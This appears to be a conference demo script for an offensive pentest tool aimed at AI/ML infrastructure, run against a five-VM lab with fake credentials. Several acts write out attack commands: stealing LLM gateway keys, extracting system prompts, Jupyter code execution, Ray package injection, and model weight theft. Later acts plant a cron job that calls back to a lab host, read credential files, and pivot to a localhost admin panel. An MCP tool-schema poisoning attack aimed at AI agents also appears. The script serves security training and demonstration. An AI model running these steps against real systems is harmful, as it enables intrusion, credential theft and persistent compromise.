Demo Walkthrough¶
Live demonstration script for the 5-VM mini aipostex lab. Aligned with the conference talk outline from the product vision document and the verify-aipostex.sh layer model.
Venue Timing Guide¶
| Format | Duration | Recommended Acts | Notes |
|---|---|---|---|
| Arsenal walk-up | ~15 min | Preflight + Acts 1, 3, 4 | Skip Act 2 (gateway); keep Act 4 to 2 proofs |
| Conference talk | ~10 min live | Preflight + Acts 1–4 (condensed) | Pre-record Act 5 as a backup slide; narrator-heavy |
| Full workshop | ~30 min | All 6 acts + Q&A | Run every command; let attendees follow along |
Preflight¶
Narrator: "Before we touch the tool, let's prove the lab is real. Five VMs, 29 health-checked service endpoints, 170 planted sensitive findings — all running natively, no containers."
From the attack box:
Expected: service health, SSH, ping, and deep validation checks green.
If restoring from snapshot:
Recovery: If any service check fails, SSH to the affected VM and restart the service:
Act 1 — Discovery¶
Narrator: "Step one on any internal pentest: find the attack surface. We scan four hosts and discover the AI/ML service surface in seconds. This is the 'how we find shadow AI' story."
Talk point: Corresponds to outline point 3 — Discovery: How we find AI infrastructure during internal pentests.
Network discovery (detect mode, default)¶
./aipostex discover network \
--target 172.16.50.10,172.16.50.20,172.16.50.30,172.16.50.40 \
--ports 3000,3333,4000,4001,5000,5432,6274,6333,7860,8000,8080,8081,8082,8090,8100,8101,8102,8180,8181,8182,8265,8444,8500,8501,8888,8889,9000,11434
Expected output (stderr summary):
── Discovery Summary ────────────────────────────────────
[*] Probed 4 host(s), selected AI/ML service ports
[*] Open service ports found across dev, ML, data, and app hosts
[*] Confirmed: ollama, jupyter, mcp, gradio, chromadb, mlflow, litellm, ray, ...
[*] Workflow targets generated for discovered services
── Vulnerability Scan ───────────────────────────────────
[*] Mode: Detection Only (no exploitation templates)
[*] Loaded 131 templates (85 detection, 46 exploit)
What to point out:
- The discovery table shows every open port with
IDENTITYandCONFIDENCE - Detection-mode templates run automatically — no exploit payloads sent
- The "Next Actions" section suggests concrete follow-on commands with discovered credentials auto-injected
- Detection templates across AI/ML service categories load from a single binary
File discovery (if time permits)¶
Expected: MCP configuration files detected with credential findings.
Timing: ~2 min for network discovery + template scan. Cut file discovery for short demos.
Act 2 — Shadow AI Gateway¶
Narrator: "LiteLLM is an OpenAI-compatible proxy that aggregates API keys for multiple LLM providers. One config file, four sets of provider credentials. This is the highest-value single target in the lab."
Talk point: Corresponds to outline point 5 — Exploitation: Live demo.
Auth sweep¶
Expected: Shows the endpoint accepts unauthenticated requests with model listing.
LiteLLM-specific probing¶
Expected: Health endpoint reveals backend topology, model configs, and API keys for OpenAI, Anthropic, Azure, and AWS Bedrock.
Prompt extraction¶
Expected: System prompt extracted from the local-smollm model (routed to Ollama on ailab-dev).
What to point out:
- One proxy, four provider keys — classic shadow AI aggregation pattern
- The tool auto-detects LiteLLM-specific endpoints beyond standard OpenAI-compat
- Compare
:4000(open) vs:4001(authenticated) to show auth-sweep differentiation
Timing: ~2 min. For Arsenal, fold one command into Act 1 discovery output and skip the rest.
Act 3 — Data Exposure¶
Narrator: "Now we go deeper. System prompts from Ollama contain credentials. Vector databases hold corporate data. MCP configs expose API keys in plaintext. None of this requires exploitation — it's all read-only enumeration."
Talk point: Corresponds to outline points 3–4 — Discovery + Scanning.
Ollama system prompts¶
Expected: System prompts extracted from all models, revealing embedded API keys, webhook URLs, JWT tokens, and internal instructions.
Vector database sensitive data¶
./aipostex vectordb --target http://172.16.50.20:8000 --type chromadb search-sensitive
./aipostex vectordb --target http://172.16.50.30:8080 --type weaviate search-sensitive
./aipostex vectordb --target http://172.16.50.30:6333 --type qdrant search-sensitive
Expected: PII (SSNs, credit cards), API keys, credentials, financial data, and salary information found across vector collections using 27 built-in sensitive-data patterns.
MCP config analysis¶
./aipostex discover files --path ~/lab/mcp-configs/
./aipostex mcp analyze --config ~/lab/mcp-configs/claude_desktop_config.json
Expected: Plaintext credentials in environment variables, command execution paths, non-loopback exposure, and tool shadowing risks identified.
What to point out:
- All of this is read-only — no
--force-exploitneeded - Credentials discovered here automatically chain into workflow recommendations
- The vector DB search uses 27 patterns covering PII, financial data, credentials, and prompt injection payloads
Timing: ~4 min. For short demos, pick Ollama prompts + one vector DB.
Act 4 — Bounded Proofs¶
Narrator: "These are gated actions — they require
--force-exploitand they prove real impact: code execution, package injection, data tampering, model weight theft. Each one is bounded and controlled."
Talk point: Corresponds to outline point 5 — Exploitation: Live demo and point 6 — Adversary Emulation.
Jupyter kernel abuse¶
Expected: Creates a kernel, runs pip install as proof of arbitrary package installation capability.
Ray pip injection¶
Expected: Submits a job with a runtime environment containing a pip package — proves supply chain injection into the ML pipeline.
MLflow tamper proof¶
Expected: Creates an experiment and run with logged parameters — proves write access to the experiment tracking system.
Ollama model weight exfiltration¶
./aipostex ollama --target http://172.16.50.10:11434 exfiltrate \
--model smollm2:135m --force-exploit
Expected: HEAD request confirms blob size, Range GET downloads a proof fragment — proves model weights can be stolen without downloading the full model.
MCP poison (if time permits)¶
./aipostex mcp --target http://172.16.50.10:3000 poison \
--mode cmd-inject --command id --force-exploit
Expected: Command injection via the MCP server's execute tool — proves RCE through the MCP protocol.
What to point out:
- Every gated command prints a clear
--force-exploit is requiredmessage if omitted - Each proof is bounded — we create a test experiment, not delete production data
- The findings carry
proof_stage: takeoverandproof_strength: execution-confirmedmetadata
Timing: ~3 min. Pick 2–3 proofs for Arsenal; run all 5 for workshops.
Recovery: If Jupyter returns 403 (XSRF), restart Jupyter on ailab-dev. If Ray has no seeded jobs, re-seed:
Act 5 — Full Assessment¶
Narrator: "Everything we just did manually? The tool can do it in one pass.
assess networkchains discovery, fingerprinting, template scanning, and enumeration into a single workflow."
Talk point: Corresponds to outline point 4 — Scanning: Template-driven vulnerability detection.
Single-pass assessment¶
./aipostex assess network \
--target 172.16.50.10,172.16.50.20,172.16.50.30,172.16.50.40 \
--ports 3000,4000,4001,5000,6274,6333,7860,8000,8080,8090,8180,8181,8182,8265,8501,8888,8889,11434
Or full-mode discovery¶
./aipostex discover network \
--target 172.16.50.10,172.16.50.20,172.16.50.30,172.16.50.40 \
--ports 3000,4000,4001,5000,6274,6333,7860,8000,8080,8090,8180,8181,8182,8265,8501,8888,8889,11434 \
--mode full
Expected: Same discovery results as Act 1, plus exploit template findings. The console shows Mode: Full Assessment (detection + exploitation).
What to point out:
- Contrast the
detectoutput from Act 1 with thefulloutput here - Exploit templates add SSRF, command injection, path traversal, and inference abuse checks
- The HTML report (
--format html --output report.html) produces an executive-ready deliverable
Timing: ~2 min. For talks, show a pre-recorded run or a saved HTML report. For workshops, run live.
Act 6 — MCP Deep Dive¶
Narrator: "MCP is the newest and most dangerous attack surface. It bridges AI agents to local tools — file systems, databases, cloud APIs. We support HTTP enumeration, stdio transport, config analysis, and 20 CVE/misconfiguration templates."
Talk point: Corresponds to outline point 2 — 50 CVEs and Counting and point 5 — Exploitation.
HTTP enumeration¶
Expected: Tool listing with capability classification (fetch, file, exec, inspector) and suggested exploit modes.
Stdio transport¶
./aipostex mcp --transport stdio \
--stdio-command python3 \
--stdio-args ~/lab/stdio-mcp-server.py \
enum
Expected: Same enumeration over NDJSON stdin/stdout — no HTTP required.
Config analysis¶
./aipostex mcp analyze --config ~/lab/mcp-configs/claude_desktop_config.json
./aipostex mcp analyze --config ~/lab/mcp-configs/remote_mcp_chain.json
Expected: Transport choices, command execution paths, plaintext credentials, non-loopback exposure, tool shadowing, and remote URL correlation identified.
Schema poisoning (if time permits)¶
Expected: JSON Schema type field poisoned with instruction text — demonstrates Full-Schema Poisoning attack.
What to point out:
- 20 MCP-specific templates cover infrastructure exposure, CVEs, and server-specific vulnerabilities
- Stdio transport means local MCP servers (Claude Desktop, Cursor) are testable without HTTP
- Schema poisoning modes (type-field, default-value, example-inject, error-message, enum-poison) are based on published research
Timing: ~3 min. Skip entirely for Arsenal unless MCP is the audience's focus.
Closing¶
Narrator: "We found four target hosts, the AI/ML service surface, multiple unauthenticated control surfaces, and bounded exploit proof paths across Jupyter, Ray, MLflow, Ollama, and MCP — all from a single Go binary with the template and exploit modules loaded for this lab."
More surfaces (optional): the estate also runs a real A2A agent (172.16.50.40:8103) for the
listener-confirmed card-spoof proof-ladder beat (accepted ≠ exploited). The Kubernetes
supply-chain angle (anon secret-read → sa-loot registry-write) runs against the separate
dev-machine k3s sandbox (sandbox up k8s), not this estate — a presenter beat.
For audiences that want rigor:
Expected: All operator-layer checks pass.
Key takeaways (for talk slides)¶
- Shadow AI is everywhere — 29 endpoints across 4 hosts, none intentionally exposed
- Read-only discovery finds credentials — system prompts, vector DB data, MCP configs
- Bounded proofs demonstrate impact — without destroying the environment
- 131 templates, 18 modules, one binary — the "Nuclei for AI" approach
- Defense is possible — authentication, network segmentation, MCP config auditing
Appendix: Service Recovery¶
If a service is unresponsive during the demo:
| Service | VM | Recovery Command |
|---|---|---|
| Ollama | ailab-dev | ssh ailab-dev && sudo systemctl restart ollama |
| Jupyter | ailab-dev | ssh ailab-dev && sudo systemctl restart jupyter |
| MCP Server | ailab-dev | ssh ailab-dev && sudo systemctl restart mcp-server |
| Gradio | ailab-dev | ssh ailab-dev && sudo systemctl restart gradio |
| ChromaDB | ailab-ml | ssh ailab-ml && sudo systemctl restart chromadb |
| MLflow | ailab-ml | ssh ailab-ml && sudo systemctl restart mlflow |
| LiteLLM | ailab-ml | ssh ailab-ml && sudo systemctl restart litellm |
| Ray | ailab-ml | ssh ailab-ml && sudo systemctl restart ray |
| Weaviate | ailab-ds | ssh ailab-ds && sudo systemctl restart weaviate |
| Qdrant | ailab-ds | ssh ailab-ds && sudo systemctl restart qdrant |
| LangServe | ailab-app | ssh ailab-app && sudo systemctl restart langserve |
| Streamlit | ailab-app | ssh ailab-app && sudo systemctl restart streamlit |
Full lab restore from snapshot:
Act 7 — Credential Replay (Post-Exploitation Validation)¶
Narrator: "Finding a credential is noise — proving it works is signal. Every key we dug out of Ollama system prompts and MLflow artifacts can now be replayed against a downstream validator. The ones that return 200 get escalated to credential-validated."
Setup (one-time, after provisioning):
curl http://172.16.50.40:8765/health # Confirm Post-Ex Oracle is up
curl http://172.16.50.40:8765/replay/expectations | jq # List credential validators
Collect credentials from Ollama system prompts:
Replay AWS key against POX validator:
AWS_KEY=$(jq -r '.findings[] | select(.metadata.pattern=="aws-access-key") | .metadata.value // empty' ollama-prompts.json | head -1)
curl -s -X POST http://172.16.50.40:8765/replay/aws/s3/acme-ml-prod/list \
-H "X-AWS-Key: ${AWS_KEY}" -H "Content-Type: application/json" -d '{}'
# → {"valid":true,"credential":"AKIAFAKE...","matched_at":"..."}
Replay GitHub PAT against POX validator:
GH_TOKEN=$(jq -r '.findings[] | select(.metadata.pattern=="github-pat") | .metadata.value // empty' ollama-prompts.json | head -1)
curl -s -X POST http://172.16.50.40:8765/replay/github/api/user \
-H "Authorization: Bearer ${GH_TOKEN}"
# → {"valid":true} or {"valid":false,"error":"credential not recognized"}
Check overall replay state:
curl -s http://172.16.50.40:8765/state/summary | jq '.replay_validated'
# → number of credentials validated so far
Timing: ~4 min. Cuts cleanly from Act 3 (data exposure).
Act 8 — Persistence Validation¶
Narrator: "Persistence means proving the backdoor survives. We plant a scheduled task via Ray runtime injection, walk away 70 seconds, and ask the oracle whether it heartbeated. If it did — persistence validated."
Setup: Ensure POX is up at http://172.16.50.40:8765.
Plant persistence via Ray job injection (requires --force-exploit):
SENTINEL="persist-$(date +%s)"
./aipostex ray --target http://172.16.50.20:8265 submit \
--proof-preset env-disclosure \
--extra-cmd "( crontab -l 2>/dev/null; echo \"* * * * * curl -sf -X POST http://172.16.50.40:8765/heartbeat -H 'Content-Type: application/json' -d '{\\\"tag\\\":\\\"${SENTINEL}\\\",\\\"source\\\":\\\"ailab-ml\\\"}' >/dev/null 2>&1\" ) | crontab -" \
--force-exploit
Wait for cron to fire (65–90 seconds):
Query the oracle:
curl -s "http://172.16.50.40:8765/heartbeat/query?tag=${SENTINEL}" | jq
# → {"tag":"persist-...","count":1,"latest":"...","sources":["172.16.50.20"]}
Cleanup (remove planted cron and reset POX):
ssh ailab-ml "crontab -l | grep -v '172.16.50.40' | crontab -"
curl -s -X POST "http://172.16.50.40:8765/state/reset?token=reset-FAKE-admin-token"
Timing: ~4 min (includes 70s wait — narrate during it).
Act 9 — Execution Oracle (RCE Confirmation)¶
Narrator: "Single-shot RCE is one thing. Proving it happened is another. We inject a sentinel-posting payload into a Jupyter kernel, query the oracle, and claim execution-confirmed — the highest proof strength in the aipostex model."
Get a Jupyter kernel ID (from Act 4 or fresh):
KERNEL_ID=$(./aipostex jupyter --target http://172.16.50.10:8888 kernel-list \
--format json | jq -r '.findings[0].metadata.kernel_id // empty' | head -1)
Inject sentinel-posting code via kernel:
SENTINEL="exec-$(uuidgen | tr -d '-')"
./aipostex jupyter --target http://172.16.50.10:8888 exec \
--kernel "${KERNEL_ID}" \
--code "import urllib.request, json; urllib.request.urlopen('http://172.16.50.40:8765/oracle/sentinel', data=json.dumps({'sentinel':'${SENTINEL}','target':'ailab-dev','notes':'jupyter kernel exec'}).encode(), timeout=3)" \
--force-exploit
Query the oracle:
curl -s "http://172.16.50.40:8765/oracle/verify?sentinel=${SENTINEL}" | jq
# → {"found":true,"count":1,"first_seen":"...","sources":["172.16.50.10"]}
Claim execution-confirmed:
# The oracle returned found:true — this is execution-confirmed.
# The payload ran on ailab-dev and called back to the POX on ailab-app.
# No fuzzy matching, no inferred execution — confirmed via out-of-band sentinel.
Reset:
Timing: ~3 min.
Act 10 — Lateral Movement (Localhost-Only Target)¶
Narrator: "Network scans show nothing on port 9999. But once we have code execution on ailab-dev via Jupyter, we can read a credential file and pivot to an internal admin panel — a service only reachable from localhost."
Step 1: Read internal admin token via Jupyter exec (requires Act 4 kernel):
./aipostex jupyter --target http://172.16.50.10:8888 exec \
--kernel "${KERNEL_ID}" \
--code "open('/home/devuser/.secrets/internal-admin.token').read()" \
--force-exploit
# → "internal-admin-token-FAKE-A8s92Mx\n"
Step 2: Hit internal admin panel from localhost (via kernel exec):
./aipostex jupyter --target http://172.16.50.10:8888 exec \
--kernel "${KERNEL_ID}" \
--code "import urllib.request, json; r=urllib.request.urlopen('http://127.0.0.1:9999/admin/status'); print(r.read().decode())" \
--force-exploit
# → {"service":"internal-admin-panel","vm":"ailab-dev","token_location":"/home/devuser/.secrets/internal-admin.token",...}
Step 3: Retrieve secondary secrets (drives further lateral movement):
TOKEN="internal-admin-token-FAKE-A8s92Mx"
./aipostex jupyter --target http://172.16.50.10:8888 exec \
--kernel "${KERNEL_ID}" \
--code "import urllib.request, json; req=urllib.request.Request('http://127.0.0.1:9999/admin/secrets',headers={'Authorization':'Bearer ${TOKEN}'}); print(urllib.request.urlopen(req).read().decode())" \
--force-exploit
# → {"authenticated":true,"secrets":{"db_host":"db-internal-01...","k8s_token":"...","aws_deploy":...}}
Narrate: "Three hops: public AI endpoint → RCE via unauthenticated Jupyter → internal admin panel → secondary credentials. None of that path was visible from a network scan."
Timing: ~3 min.